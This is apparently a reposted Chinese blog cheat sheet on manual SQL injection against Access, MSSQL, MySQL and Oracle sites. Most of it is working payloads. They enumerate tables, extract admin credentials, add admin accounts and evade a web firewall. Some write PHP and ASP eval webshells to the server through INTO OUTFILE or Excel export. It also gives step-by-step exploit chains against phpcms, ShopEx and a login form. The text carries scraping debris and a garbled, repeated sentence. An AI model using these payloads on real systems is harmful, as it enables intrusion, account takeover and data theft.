ACCESS、MSSQL、MYSQL、ORACLE 手工注入

http://www.zerokeeper.com/web-security/manual-injection-of-access-mssql-mysql-and-oracle.htmlphp

0x01 基本常識

簡單斷定有無漏洞: 粗略型:提交單引號’ 邏輯型(數字型注入):and 1=1/and 1=2 邏輯型(字符型注入):'and'1'='1/'and'1'='2 邏輯型(搜索型注入):%'and 1=1 and'%'='%/%'and 1=2 and'%'='%html

簡單判斷數據庫信息:前端

粗略型: 加單引號’(根據服務器報錯的信息來判斷) 加;--(; 表示分離,– 則是註釋符,; 和–MSSQL 數據庫有,ACCESS 數據庫沒有)mysql

邏輯型: and user>0 and (select count() from msysobjects)>0 ……(頁面錯誤爲 access 數據庫) and (select count() from sysobjects)>0 ……(頁面正常爲 MSSQL 數據庫) and db_name()>0 ……(爆數據庫名) and version>0(爆 SQLServer 版本信息以及服務器操做系統的類型和版本信息)linux

判斷 MSSQL 權限: and 0<>(Select ISSRVROLEMEMBER('sysadmin'))--(頁面正常則爲 SA) and 0<>(Select IS_MEMBER('db_owner'))--(頁面正常則爲 db_owner) and 0<>(Select IS_MEMBER('public'))--(頁面正常則是 public) 注意: 以上方法適用於參數是 int 數字型的時候。 若爲字符型,需在參數後添加單引號’並在查詢語句後添加;--,搜索型注入以此類推。git

0x02 ACCESS 注入基本流程:

一、判斷有無注入點'  and 1=1  and 1=2二、猜表通常的表的名稱無非是admin adminuser user pass password and 0<>(select count(*) from *) and exists (select * from admin)and 0<>(select count(*) from admin)三、爆破賬號數目 若是遇到0< 返回正確頁面 1<返回錯誤頁面說明賬號數目就是1個and 0<(select count(*) from admin)and 1<(select count(*) from admin)四、猜解字段名稱 在len( ) 括號裏面加上咱們想到的字段名稱.  經常使用的表名:admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users                                          Manage_User user_info admin_userinfo login new用戶會員  經常使用的列名:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin  administrator administrators adminpassword admin_pwd adminpass userpass user_pass  admin_passwod  用戶 用戶名 密碼 賬號and exists (select 你要猜的字段名 from 你已經纔出來的表名)and 1=(select count(*) from admin where len(*)>0)--and 1=(select count(*) from admin where len(username)>0)and 1=(select count(*) from admin where len(password)>0)5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面爲止and 1=(select count(*) from admin where len(username)>6) 錯誤and 1=(select count(*) from admin where len(username)>5) 正確 長度是6and 1=(select count(*) from admin where len(username)=6) 正確6.猜解字符and 1=(select count(*) from admin where left(username,1)='a') ---猜解用戶賬號的第一位and 1=(select count(*) from admin where left(username,2)='ab')---猜解用戶賬號的第二位就這樣一次加一個字符這樣猜,猜到夠你剛纔猜出來的多少位了就對了,賬號就算出來了7.更改管理員密碼, 添加管理員賬戶更改密碼:; update admin set password ='dukong' where username=admin添加管理員:; insert into admin (username,password) values (dukong,dukong)--ACCESS偏移注入order by n 直到返回不正常,那麼返回的列數就是n-1union select 1,2,3,4,5,...,n-1 from admin會是正常的而後用 * 代替查看admin表裏面字段數最後爆出admin帳戶, 會用到union select 1,2,3,4,...,from admin as a inner join admin as b on a.id=b.id 反正湊出字段數與 order by 查詢的返回字段數相同來暴庫過安全狗:/news.asp?letterkind=4&parentID=3 an%d%200<=(se%l%e%c%t co%unt(*) fr%om tb_login) an%d%201<2/news.asp?letterkind=4&parentID=3 an%d%200<=(se%l%e%c%t co%unt(*) fr%om a_admin) an%d%201<2 /news.asp?letterkind=4&parentID=3 an%d%200<=(se%l%e%c%t co%unt(new) fr%om admin) an%d%201<2%an%d 1%=%1aN%d ex%is%ts (se%le%ct * f%r%om us%er)aN%d 0<>(se%le%ct co%u%nt(*) f%r%om *)a%n%d 0<>(s%el%ec%t c%ou%nt(*) f%r%om ad%mi%n)

0x03 MSSQL 報錯注入基本流程:

爆出表名和字段:having 1=1--猜解表名:得到第一個表名:and (select top 1 name from sysobjects where xtype=’u’)>0得到第二個表名:and (select top 1 name from sysobjects where xtype=’u’ and name not in (‘user’))>0以此類推。猜解列名:獲得col_name表中的第一個列名:and (select top 1 col_name(object_id(‘字段’),1) from sysobjects)>0猜解字段內容:and (select top 1 列名 from [表名])>0如:獲取用戶名:and (select top 1 username from [admin])>0獲取密碼:and (select top 1 password from [admin])>0導出webshell:方法1:利用SQL執行命令功能導出WebShellSELECT ‘<%execute request(「a」)%>’ into [vote] in ‘d:webx.asp;.xls’ ‘excel 8.0;’ from vote注意:需擁有SQL執行權限且知道絕對路徑方法2:創建一個有一個A字段的表 表名爲a,字段類型爲字符,長度爲50。在表A的a字段插入一句話木馬,把表a的內容導出爲物理路徑的一個EXCEL文件。導出爲EXCEL後在利用IIS解析漏洞就能夠變成webshell了。方法2的SQL語句:create table cmd (a varchar(50))insert into cmd (a) values (‘<%execute request(「listentide」)%>’)select * into [a] in ‘f:hostqhdyxtweba.asp;.xls’ ‘excel 4.0;’ from cmddrop table cmd

漏洞:前端漏洞 (常規方法檢測,有錯誤回顯),傳遞 get 參數的時候沒有過濾,直接鏈接到 SQL 語句上。github

1.判斷注入點方法:加 ‘ 報錯,或是加 and 1=1 返回正常,加 and 1=2 返回錯誤,aspx 通常都是 SqlServer。2.判斷數據庫版本:加 and 1=@@version。3.查看數據庫其餘信息:查看服務器所在主機名稱:and 1=host_name() ,查看當前用戶:and 1=current_user 得到當前用戶,設爲 Current_User,查看當前數據庫:and 1=db_name(),得到數據庫名稱,設爲 DB_NAME。4.判斷數據表名:and 1=(select top 1 name from DB_NAME.Current_User.sysobjects where xtype=CHAR(85) and name not in (select top N name fromDB_NAME.Current_User.sysobjects where xtype=CHAR(85)))–,從 0 開始替換 N 返回表名。這個過程會獲得一些有用的表,好比 XXX_admin,XXX_users==。5.對比較敏感的表進行進一步注入得到字段:and 1=(select top 1 Name from syscolumns where id=object_id(0x5700650062005F00410064006D0069006E00) and name notin(select top N Name from syscolumns where id=object_id(0x5700650062005F00410064006D0069006E00))),從 0 開始替換 N 逐個返回列名。可能會得到一些有用的字段值,好比 username,password 等等。6.根據字段名稱得到相應的字段內容:」and 1=(select top 1 [Column_Name] from XXX_admin)」 得到字段內容。XXX_admin 是得到的有用的表,Column_Name 是字段名稱。

0x04 MYSQL 注入基本流程:

MYSQL 注入漏洞是否存在的判斷方法與 ACCESS 注入和 MSSQL 注入相同。web

MYSQL 注入漏洞的數據庫類型判斷方法也可使用單引號’。sql

數據庫權限判斷:and ord(mid(user(),1,1))=114 // (頁面正常說明爲root)判斷當前頁面字段總數:方法一、用union聯合查詢:and 1=1 union select 1,2,3,4,5……方法二、用order by 查詢「order by *–判斷顯示位:方法一、http://www.f4ck.org/article.php?id=1 and 1=2 union select 1,2,3,4,5,6,7……方法二、http://www.f4ck.org/article.php?id=-1 union select 1,2,3,4,5,6,7……查庫:版本大於5.0的mysql的information_schema庫中存儲着mysql的全部數據庫和表結構信息,因此能夠利用information_schema庫快速注入。獲取第一個庫名:and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1獲取第二個庫名:and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,2以此類推。查表:獲取數據庫中第一個表名:and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數據庫名的十六進制 limit 0,1獲取數據庫中第二個表名:and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數據庫名的十六進制 limit 1,2查列:獲取數據庫中指定表的第一個列名:and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名的十六進制 limit 0,1獲取數據庫中指定表的第二個列名:and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名的十六進制 limit 0,1獲得字段內容:在不一樣的顯示位顯示不一樣的字段內容:and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1在同一個顯示位顯示不一樣的字段內容:and 1=2 Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1一次性查出全部表名:union select 1,2,3,4,GROUP_CONCAT(DISTINCT table_name),6 from information_schema.columns where table_schema=數據庫名的16進制一次性查出全部字段名:union select 1,2,3,4,GROUP_CONCAT(DISTINCT column_name),6 from information_schema.columns where table_schema=數據庫名的16進制導出一句話WebShell:方法1:Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES(‘’);Select cmd from temp into out file ‘F:/wwwroot/eval.php’;Drop TABLE IF EXISTS temp;方法2:Select ‘’ into outfile ‘F:/wwwroot/eval.php’;load_file() 經常使用路徑:c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虛擬主機配置文件/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件c:/Program Files/Apache Group/Apache/conf/httpd.conf 或C:/apache/conf/httpd.conf 查看WINDOWS系統apache的配置文件c:/Resin-3.0.14/conf/resin.conf查看jsp開發的網站 resin文件配置信息

1.漏洞:前端漏洞(常規方法檢測不到,用 %ce’ 檢測有錯誤回顯),GBK 寬字符轉譯致使的繞過 sql 注入安全檢測。①.找到存在漏洞的 URL,常規方法看不到回顯,將參數改爲 %ce’ ,有回顯。②.直接構造語句爆出後臺帳號密碼:http://url/xxx.php?act=xxx&xx=%ce’ and 1=1 union select 1 and (select 1 from(select count(*),concat((select concat(0x5b,user_name,0x3a,password,0x5d) FROM ecs_admin_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %232.漏洞:前端漏洞(無錯誤回顯),wap/index.php 的 action 參數存在本地文件包含漏洞,包含可執行 sql 命令文件 field_add.inc.php,而在這個文件中若是參數爲 action,沒有任何限制和過濾就能夠包含本地一個 .inc.php 的文件。field_add.inc.php 件能夠看到,$dataformat 沒有初始化,$sql 也沒有初始化,因此能夠直接調用 sql 命令。(怎麼檢測有這個漏洞?)①.註冊一個普通用戶,查看本身的 ID,userid = 2。②.構造 http://URL/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql= update phpcms_member SET groupid=1 whereuserid=2。更改註冊帳號的 groupid(組id)爲 1 ,也就是將註冊的 test 帳號的組從普通用戶組改成管理員組。③.http://URL/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql= update phpcms_member_cache SET groupid=1 whereuserid=2。更改註冊帳號在緩存表中的 groupid,使其不會由於緩存表未更改致使失敗。④.http://URL/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql= insert INTO phpcms_admin(userid,username,allowmultilogin,alloweditpassword) values(2,test,1,1)。將 test 用戶插入管理員表,並賦予 test 用戶管理員具備的相關權限(後臺登陸和修改密碼的權限)。⑤.http://URL/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql= insert INTO phpcms_admin_role (userid,roleid)values(2,1)。將 test 角色信息插入管理員角色表,使 test 角色爲管理員的角色。⑥.用test用戶登陸,便是管理員。3.漏洞:前端漏洞(常規方法檢測,有錯誤回顯),傳遞 get 參數的時候沒有過濾,直接拼接到 SQL 語句上。①.常規方法檢測注入點,有錯誤回顯,可能直接返回數據庫類型。②.判斷字段長度:後面加上 order by N,從數字 1 開始替代 N,直到返回錯誤頁面,判斷字段長度爲錯誤頁面的 N-1,也就是最後一個正常頁面返回。③.判斷字段位置回顯:加上 and 1=2 union select 1,2,3,4,5,……,N-1 最後一個數爲字段長度,有回顯會將相應數字顯示出來。④.判斷數據庫信息:加上 and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,……,N-1 用 sql 指令替換 sql_command。用 version(),database(),user() 替換。!!!注意:這裏所獲得的當前用戶必須是 DBA 或是系統管理員,不然是進行不下去的,由於後面要用到系統表。⑤.判斷 mysql 全部數據庫:加上 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,……,N-1 frominformation_schema.SCHEMATA ,查看 mysql 中全部數據庫的名稱。⑥.判斷數據庫表:加上 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,……,N-1 from information_schema.tables wheretable_schema=database(),查看當前數據庫擁有的全部表。能夠發現存放用戶信息的表 XXX_users,XXX_admin。⑦.判斷數據表的全部列:加上 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,……,N-1 from information_schema.columnswhere table_name=0x636D735F7573657273。table_name=XXX_users,表名須要編碼爲 16 進制。可能會獲得有用的列:userid,username,password 等等。⑧.獲取字段值:加上 and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,……,N-1 from cms.XXX_users。獲得數據。⑨.解密登錄。4.漏洞:前端漏洞(有錯誤回顯),shopex 的 cookie 攻擊漏洞。①.判斷注入點:註冊帳號並登錄,使用 firefox 的 cookiemanager 對 cookie 進行操做。查看 cookie,在 S[CUR] 值後面添加 ‘ 進行驗證,發現頁面沒什麼變化,再次使用」 進行測試。從報錯信息中能夠得到表前綴爲 sdb_,及 sql 語句拼接方式、數據庫類型等等數據庫信息。②.判斷字段數:使用」 LIMIT 1,1 UNION ALL SELECT 11#」 LIMIT 1,1 UNION ALL SELECT 11,22#」 LIMIT 1,1 UNION ALL SELECT 11,22,33#……判斷當前表中的字段數,並肯定頁面顯示的字段。從頁面中能夠判斷出該表共有 N 個字段,而且頁面顯示的是第 X 個字段。(設 N=6,X=3)③.查詢系統管理員用戶:在 shopex 中,管理員用戶信息保存在 sdb_operators 表中,使用」 LIMIT 1,1 UNION ALL SELECT 11,22,(select count(*) fromsdb_operators),44,55,66# 查詢管理員人數。④.查詢管理員用戶名和密碼:加上 」 LIMIT 1,1 UNION ALL SELECT 11,22,(select username from sdb_operators limit 0,1),44,55,66# 查詢用戶名。獲得用戶名 xxxx。⑤.使用」 LIMIT 1,1 UNION ALL SELECT 11,22,(select userpass from sdb_operators where username=’xxxx’),44,55,66# 查詢管理員密碼。⑥.解密登錄。5.漏洞:DISCUZ 漏洞(有錯誤回顯):二次注入,在進行添加回復操做的時候,未對原先存在的 message 信息進行特殊字符過濾,且該 message 直接拼接到 sql 語句中,致使特殊sql 語句的執行。6.漏洞:前端漏洞(無錯誤回顯):登錄繞過檢測,網站有多處都調用並帶入 admin_name 進行查詢,雖然在 POST 數據時進行了過濾(首次提交返回錯誤頁面的緣由)。但因get_admin_one 函數和 check_admin 函數沒有對帶入的 admin_name 進行校驗或過濾,致使 sql 注入。對帶入的 admin_name 進行校驗或過濾,致使 sql 注入。在後臺登錄界面用戶名密碼隨便輸,驗證碼填正確,burp 抓包:修改 POST 提交的數據,修改其中的 admin_name 值爲 XXXX%d5′ or 1=1%23 ,其中 XXXX 爲管理員帳號,放行,第一次確定不成功(由於在 post 數據時進行了過濾),刷新一下就能繞過直接進後臺。

0x05 Oracle 注入

漏洞:前端漏洞 (有錯誤回顯),get 參數未過濾直接拼接到 SQL 語句。shell

1.常規方法檢測注入點,有錯誤回顯,可能直接返回數據庫類型。2.判斷數據庫類型:在url的後面添加"/*",頁面返回錯誤,說明不是 mysql 數據庫,而後使用 'and (select count(*) from user_tables)>0– 返回正常,判斷該數據庫爲oracle 數據庫,由於只有 oracle 數據庫纔有 user_tables 表。3.獲取字段數:使用’ order by 1 — ,經過變換數值,當頁面報錯時,則字段數就是報錯以前的數,設當’ order by N– 頁面報錯,說明共有 N-1 個字段,設 N=5,經過' union select null,null,null,null from user_tables order by 1 desc– 返回正常頁面驗證字段確實爲 4 個。4.判斷字段類型:經過' union select 'null',null,null,null from user_tables order by 1 desc–' union select null,'null',null,null from user_tables order by 1 desc–' union select null,null,’null’,null from user_tables order by 1 desc–……判斷各字段數據類型:那個返回正確說明那個就是字符型,不然多是整型或其餘類型。(設 2.3 是字符型)。5.判斷各字段在頁面中的顯示位置:' union select 1,'2','3',4 from user_tables order by 1 desc– 可能獲得 2.3.4 在網頁中的顯示位置。6.獲取數據庫表個數:使用 ' and (select count(*) from user_tables)=N–,N 從 0 開始 ++,返回正常即有 N 個表。7.猜想數據表名:使用 ' and 1=2 union select 1,’2’,table_name,4 from user_tables– 獲取數據表名,設得到關鍵表名 XXX。8.判斷帳號數:利用 ' and (select count(*) from XXX)>0 — 判斷共有多少個帳號,用數字替代 0,返回非正常頁面證實帳號個數爲填入的數字。9.判斷字段個數:使用 ' and (SELECT count(*) FROM USER_TAB_COLUMNS WHERE table_name='XXX')>0–,經過替換數字 0,當頁面出現錯時,此時的數字就是該表的字段個數。設獲得字段個數爲 A=2。10.獲取字段名:使用 ' and 1=2 union select 1,'2',COLUMN_NAME,4 from (select * from (SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE table_name=’XXX’ order by 1 asc ) WHERE ROWNUM<=A ORDER BY 1 DESC) WHERE ROWNUM<=1,經過不斷變換第一個 rownum 後面的數字(A–),能夠獲得該表的字段名稱。設爲 name,password.11.獲取管理員信息:利用' and 1=2 union select 1,name,password,4 from XXX — 獲取管理員用戶名和密碼信息注入點導出一句話:在獲取到字段數以後,直接聯合查詢 http://www.xxx.com/news.php?NewsID=-1 union select '<?php eval($_POST[cmd]);?>',2 into outfile 'D:/wwwroot/eval.php'而後訪問 eval.php。

0x06 參考

  1. MSSQL、MYSQL、ORACLE 手工注入
  2. sqlmap 筆記

沒複製好,也不打算排版了,只是爲了本身備忘用的

相關文章
相關標籤/搜索